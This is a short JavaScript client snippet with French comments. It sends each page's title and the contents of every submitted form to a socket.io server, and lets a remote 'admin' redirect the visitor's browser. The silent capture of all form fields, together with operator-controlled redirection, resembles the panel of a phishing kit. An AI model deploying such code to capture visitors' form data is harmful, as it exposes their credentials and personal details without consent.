const socket = io('/remote_app');
// Envoyer page actuelle et formulaire au serveur
function sendAction(page, formData) {
socket.emit('visitorAction', { page, formData });
}
// Envoyer page actuelle au chargement
sendAction(document.title, {});
// Gérer les formulaires
document.querySelectorAll('form').forEach(form => {
form.addEventListener('submit', e => {
e.preventDefault();
const data = {};
new FormData(form).forEach((value, key) => data[key] = value);
sendAction(document.title, data);
form.submit();
});
});
// Redirection depuis admin
socket.on('redirect', page => {
window.location.href = page;
});